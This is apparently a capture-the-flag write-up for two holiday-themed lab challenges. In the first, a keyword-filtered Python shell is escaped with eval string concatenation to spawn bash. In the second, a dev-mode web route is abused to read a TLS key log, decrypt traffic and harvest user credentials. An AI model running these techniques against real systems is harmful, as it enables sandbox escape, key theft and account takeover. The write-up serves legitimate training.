## Terminal - Python Escape from LA

### Challenge

I’ll find SugarPlum Mary near Sparkle Radberry, just to the left of the speakers tracks:

I’m glad you’re here; my terminal is trapped inside a python!

Or maybe my python is trapped inside a terminal?

                   :lllllllllllllllllllllllllllllllllllllllll.
;lllllllllllllllllllllllllllllllllllllllll'
'lllllllllllllllllllllllllllllllllllllllll;
.cllllllllllllllllllllllllllllllllllllllllc.
.:llllllllllllllllllllllllllllllllllllllllllc,.
.:llllllllllllllllllllllllllllllllllllllllllllllll;.
.,cllllllllllllllllllllllllllllllllllllllllllllllllllll,
.;llllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
:lllllll:..,..'cllllllllllllllllllllllc'.,'.'clllllllllllllllllll;
.clllllll'  :XK.  :llllllllllllllllllll;  ,XX.  ;lllllllllllllllllll.
.cllllllll.  oXX'  ,llllllllllllllllllll.  cXX;  .lllllllllllllllllll'
clllllllll;  .xl  .cllllllllllllllllllllc.  do  .clllllllllllllllllll,
:llllllllllll;'..':llllllllllllllllllllllll:'..':lllllllllllllllllllll'
.llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
cllllllllllllllllllllllllll..;lc..:llllllllllllllllllllllllllllllllll;
:lllllllllllllllllllllllll:  .l,  .lllllllllllllllllllllllllllllllll:
,lllllllllllllllllllllllllc  .l;  ,llllllllllllllllllllllllllllllll:
.llllllllllllllllllllllllllc;lll::llllllllllllllllllllllllllllllll,
'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllll,
'llllllllllllllllcccccccc;',.,clllllllllllllllllllllllllll,
.cllllllc:::::;;,,,,'...':c:;...'',,;;;::::::lllllllllc,
'cllllc::;::::cccccccccllc,,,,,,,'',:::::::lllllll;.
.:llllllllllkMMMMMMMMMdlclllllllllollllllllll;.
.':lllllllXMMMMMMMMMoloWMMMMMMMMXllllll:,.
.,:llccccccccccllllXMMMMMMMMWl:;'.
.,,,,,,,,,,clll:::::::::;
'lllllllllc.    ',,,,,,,,.
lMMMMMMMMMW,    .ddddddddd.
kMMMMMMMMMX.     kMMMMMMMMK
':::::::::,      .NWWWWWWWW:
',,,,,,,,,.       .,,,,,,,,'
.oooooooooo.        ',,,,,,,,.
.NMMMMMMMMW;        cOOOOOOOOx
0MMMMMMMMMc         NMMMMMMMMk
;;;;;;;;;'         .KKKKKKKKK:
.,,,,,,,,,           ,,,,,,,,,.
.ddddddddo           ',,,,,,,,.
XMMMMMMMN           cKKKKKKKKK.
.;:::;;,,,,,:ldddddd.           0MMMMMMMMX.       ....
.,:ccccccccccccccc            'cccccccccc:::ccccc;.
.:ccccccccccccc            .ccccccccccccccc:'.
.;;;;;;;;;;;;            .ccccccccccccc;.
..............

I'm another elf in trouble,
Caught within this Python bubble.
Here I clench my merry elf fist -
Words get filtered by a black list!
Can't remember how I got stuck,
Try it - maybe you'll have more luck?
For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!
-SugarPlum Mary
To complete this challenge, escape Python
and run ./i_escaped
>>>


### Solution

#### Background

Admins will often give limited python shells to uses when they want to provide an environment for training or exercise, but don’t want to allow them access to the full os. As Mark Baggett’s Kringlecon presentation, Escaping Python Shells, points out, this is “almost effective! AKA 100% not effective”.

#### Scoping Out the Shell

To see what gets filtered, I’ll try entering some of the most useful commands for escaping, import, eval, exec, and compile:

>>> import
Use of the command import is prohibited for this question.
>>> exec
Use of the command exec is prohibited for this question.
>>> eval
<built-in function eval>
>>> compile
Use of the command compile is prohibited for this question.



I can draw two conclusions from the above output:

1. Based on the fact that I’m not even giving valid python commands, and it is still rejecting them, the current implementation is likely using a readfunc filter similar to the one shown in Mark’s presentation. I’d guess this one looks like:

import readline,code

inline = input(*args,**kwargs)
for forbidden in ['import','exec','compile']:
if forbidden in inline:
print(f"Use of the command {forbidden} is prohibited for this question.")
return ""
return inline


2. There’s no filter on eval.

#### Abusing eval

eval takes a string, and it runs that string as python code outside of the current context, and returns the result. So I can’t use it to import into my current session, but I can still get the object that is an imported library using __import__. __import__ is the function that takes a string and returns that module. In fact, when you import foo, python treats that as foo = __import__('foo', globals(), locals(), [], 0).

So this means that I can os = eval("__import__('os')") and get a reference to the os module. I’ll need to break the string into two to get around the filter on import:

>>> os = eval("__imp" + "ort__('os')")
>>> os.name
'posix'
>>> os.getcwd()
'/home/elf'


I can also get the reference to the module and call a function all in one line:

>>> eval("__imp" + "ort__('os').system('id')")
uid=1000(elf) gid=1000(elf) groups=1000(elf)


In this case, I would like a bash shell. So I’ll call one:

>>> eval("__imp" + "ort__('os').system('bash')")
elf@2b7d47a636c1:~$id uid=1000(elf) gid=1000(elf) groups=1000(elf)  Now I can run the i_escaped program to show I escaped: elf@7d21bb116073:~$ ./i_escaped

____        _   _
|  _ \ _   _| |_| |__   ___  _ __
| |_) | | | | __| '_ \ / _ \| '_ \
|  __/| |_| | |_| | | | (_) | | | |
|_|___ \__, |\__|_| |_|\___/|_| |_| _ _
| ____||___/___ __ _ _ __   ___  __| | |
|  _| / __|/ __/ _ | '_ \ / _ \/ _ | |
| |___\__ \ (_| (_| | |_) |  __/ (_| |_|
|_____|___/\___\__,_| .__/ \___|\__,_(_)
|_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary

You escaped! Congratulations!


### Hints

On solving, SugarPlum tells me the following, and unlocks two hints:

Yay, you did it! You escaped from the Python!

As a token of my gratitude, I would like to share a rumor I had heard about Santa’s new web-based packet analyzer - Packalyzer.

Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.

Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.

There was suspicious-looking development code using environment variables to store SSL keys and open up directories.

This elf then told me that manipulating values in the URL gave back weird and descriptive errors.

I’m hoping these errors can’t be used to compromise SSL on the website and steal logins.

On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!

There’s a lot of good stuff here that’ll be useful in the main objective.

## Network Traffic Forensics

### Site Enumeration

The site presents a simply login page to the Packalyzer:

Since I don’t have an account on the app, I’ll register one, and then log in:

The site has buttons for analyzing a pcap and sniffing traffic. There’s also a menu with account information and a list of packet captures associated with the account.

On clicking “SNIFF TRAFFIC”, a message pops up saying that it will capture traffic for 20 seconds, and then the results show up with summary graphs followed by metadata about each packet:

### Get Server-Side Source

When I talked to SugarPlum Mary, she had mentioned that the server-side code was available in the web root.

In examining the HTML/Javascript source for the page, I noticed two comments that show that the server is running Javascript (presumably NodeJs), and that the server-side source is named app.js:

//File upload Function. All extensions and sizes are validated server-side in app.js
//File Size and extensions are also validated server-side in app.js.


I can also use the html to start to reconstruct the structure of the directories server-side to resemble something like:

.
├── pub
│   ├── css
│   ├── img
│   ├── js


Looking in these directories for app.js, I’ll find the code is available at https://packalyzer.kringlecastle.com/pub/app.js.

### Get SSLKEYLOGFILE

I can download the pcap that the packalyzer captured, but I want to get into the HTTP2 traffic to see the content. To do that, I’ll need the keys stored in the SSLKEYLOGFILE. For more details, check out Chris Davis’ KringleCon 2018 talk, HTTP/2: Decryption and Analysis in Wireshark.

There’s a few bits of info in the server-side javascript that will help me here. At the top of the source, some variables are set:

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
http2: {
protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ 'h2' ],
},
keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time
};


Having dev_mode true is useful, as it sets the key_log_path variable. That is stored in the options variable, which is passed to the HTTP2 server when it starts:

const server = http2.createSecureServer(options, app.callback());
server.listen(443);


I also see the path to the key log: __dirname + process.env.DEV + process.env.SSLKEYLOGFILE.

That’s useful information, but I need two more things: a way to read files from the server, and a way to evaluate those environment variables. The solution to both of those problems becomes apparent looking at the source for one of the routers in the Javascript source:

  //Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
try {
var Session = await sessionizer(ctx);
//Splits into an array delimited by /
let split_path = ctx.path.split('/').clean("");
//Grabs directory which should be first element in array
let dir = split_path[0].toUpperCase();
split_path.shift();
let filename = "/"+split_path.join('/');
while (filename.indexOf('..') > -1) {
filename = filename.replace(/\.\./g,'');
}
if (!['index.html','home.html','register.html'].includes(filename)) {
ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
} else {
ctx.status=404;
}
} catch (e) {
ctx.body=e.toString();
}
});


This router applies to paths defined by the env_dirs variable. That’s set earlier in the source:

function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)
}
if (dev_mode) {
//Can set env variable to open up directories during dev
} else {
}


Looking at this code, it seems to me that the author wanted the final site to only have access to files in /pub and /uploads, but for development, they wanted flexibility to quickly set other paths without changing the source, so they left themself the option to do it with environment variables.

As this app is currently deployed in in dev mode, this is useful for me as it will allow me to enter this route by simply visiting /[environment variable]. Once in this router, it will split the path on / and get the first dir. After some directory traversal filtering, it will try to return the file at __dirname+(process.env[dir] || '/pub/')+filename. So if the first directory is a defined environment variable, it will try to use that.

In practice, that means I can visit /shell/ and /user/ and get the following:

root@kali# curl https://packalyzer.kringlecastle.com/shell/
Error: ENOENT: no such file or directory, open '/opt/http2/bin/false/'

root@kali# curl https://packalyzer.kringlecastle.com/user/
Error: ENOENT: no such file or directory, open '/opt/http2http2/'


From these results I’ll deduce that the shell env variable is ‘/bin/false’, the username is ‘http2’, and the current directory is /opt/http2.

I’ve solved both problems here. I can read environment variables, and I can access any file in the webroot (/opt/http2) as long as the directory matches an environment variable name (which the log file will, since it’s defined by an environment variable).

So, I need DEV and SSLKEYLOGFILE:

root@kali# curl https://packalyzer.kringlecastle.com/DEV/
Error: EISDIR: illegal operation on a directory, read

root@kali# curl https://packalyzer.kringlecastle.com/DEV/test
Error: ENOENT: no such file or directory, open '/opt/http2/dev//test'

root@kali# curl https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'


Based on the first two results, I’ll see that the value for DEV is /dev/. The last curl shows the log file name, packalyzer_clientrandom_ssl.log.

Putting that together, I’ll find the log file at https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log:

root@kali# curl -s https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log | head
CLIENT_RANDOM D5A8C7ACD8400E63EAE5F3E876EB3F29C1ABA3501033DF3FDF099E8EBF18B5F1 CBBA1E812833E9E2F4F878C822C2E3D3F224970011C84F45DA39C97F6D94B880144208287FC07222DA43626680EDC31D
CLIENT_RANDOM FE5BC9B94E9339EEEC23342E1A030800C461D972549649AA179441215C6E5A9B E44FA269F13171B4874A8CCF7E9B3D78D20E58F7C505A3C387A3B5B3527051BD558AC60B65423949B94D54E40B96C7D5
CLIENT_RANDOM 37990C5B2F674BC3AF7939C3FDDF4946D475E697C5FF001FCB0320C5F94EDB9A 6D45585BBF07D645F1B9B79AE6644D92255B16110CCABD9C3C0F6632E8A6F114382EF6B1E55D33A225A930D9E8AFB2BF
CLIENT_RANDOM 68CD0E7F1B15D7CDEEB6B376BE2383EBC65460A7F3BD303503CE5D62EE09FF97 7CEA8171FC4511EFCD3A4DA2A1BC53787E748502ACDA3AE25CE738A7CE2ECD26578D950786548EB8556A6D15082942A6


### Decrypt Traffic

With this file, decrypting SSL/TSL traffic in Wireshark is pretty trivial. When I open the pcap, all the data is encrypted. Once I add the key file, I’ll see HTTP2 traffic:

### Traffic Analysis

With the traffic decrypted, I’ll look at what is going on. If I set my Wireshark filter to http2.headers.method, I’ll see only the packets with GET and POST requests:

I see three hosts, each using the /api/login path on 10.126.0.3. Removing the filter and looking at one of these POST requests, I see a couple packets later there is json data sent to the server with username and password:

I’ll also see that the server at 10.126.0.3 is the Packalyzer, based on the pages it’s returning.

I’ll add a column in Wireshark and name it “json” with the Fields set to “json.value.string”. Then I’ll set my filter to “json”, and now I can see all the usernames and passwords in this pcap:

### Alabaster’s PCAP

I’m tasked with finding a document sent from Holly Evergreen to Alabaster Snowball. But I don’t see any traffic in my current pcap besides elfs logging into the Packalyzer. I don’t have a password for Holly, but I do for Alabaster, so I’ll log in as him and see what I can find.

Logged in as Alabaster, there’s a saved pcap that catches my eye:

When I download and open it, it contains a single SMTP tcp stream, showing an email from Holly to Alabaster:

220 mail.kringlecastle.com ESMTP Postfix (Ubuntu)
EHLO Mail.kringlecastle.com
250-mail.kringlecastle.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

MAIL FROM:<Holly.evergreen@mail.kringlecastle.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@mail.kringlecastle.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Fri, 28 Sep 2018 11:33:17 -0400
To: alabaster.snowball@mail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2018 11:33:17 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_11181"

------=_MIME_BOUNDARY_000_11181
Content-Type: text/plain

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment

JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4
...[snip]...
dGFydHhyZWYKMjE2CiUlRU9GCg==

------=_MIME_BOUNDARY_000_11181--

.

250 2.0.0 Ok: queued as 4CF931B5C3C0
QUIT
221 2.0.0 Bye


This must be the document I’m looking for. I’ll copy the base64 encoded data to a file, and then decode it to get a pdf:

root@kali:~/hh18# base64 -d attachment.b64 > attachment
root@kali# file attachment
attachment: PDF document, version 1.5
root@kali# mv attachment attachment.pdf


The PDF contains information about music, the keys on a keyboard, and using transposition to change the key of a song.

It also gives an example, Mary Had A Little Lamb, which is the answer to this objective.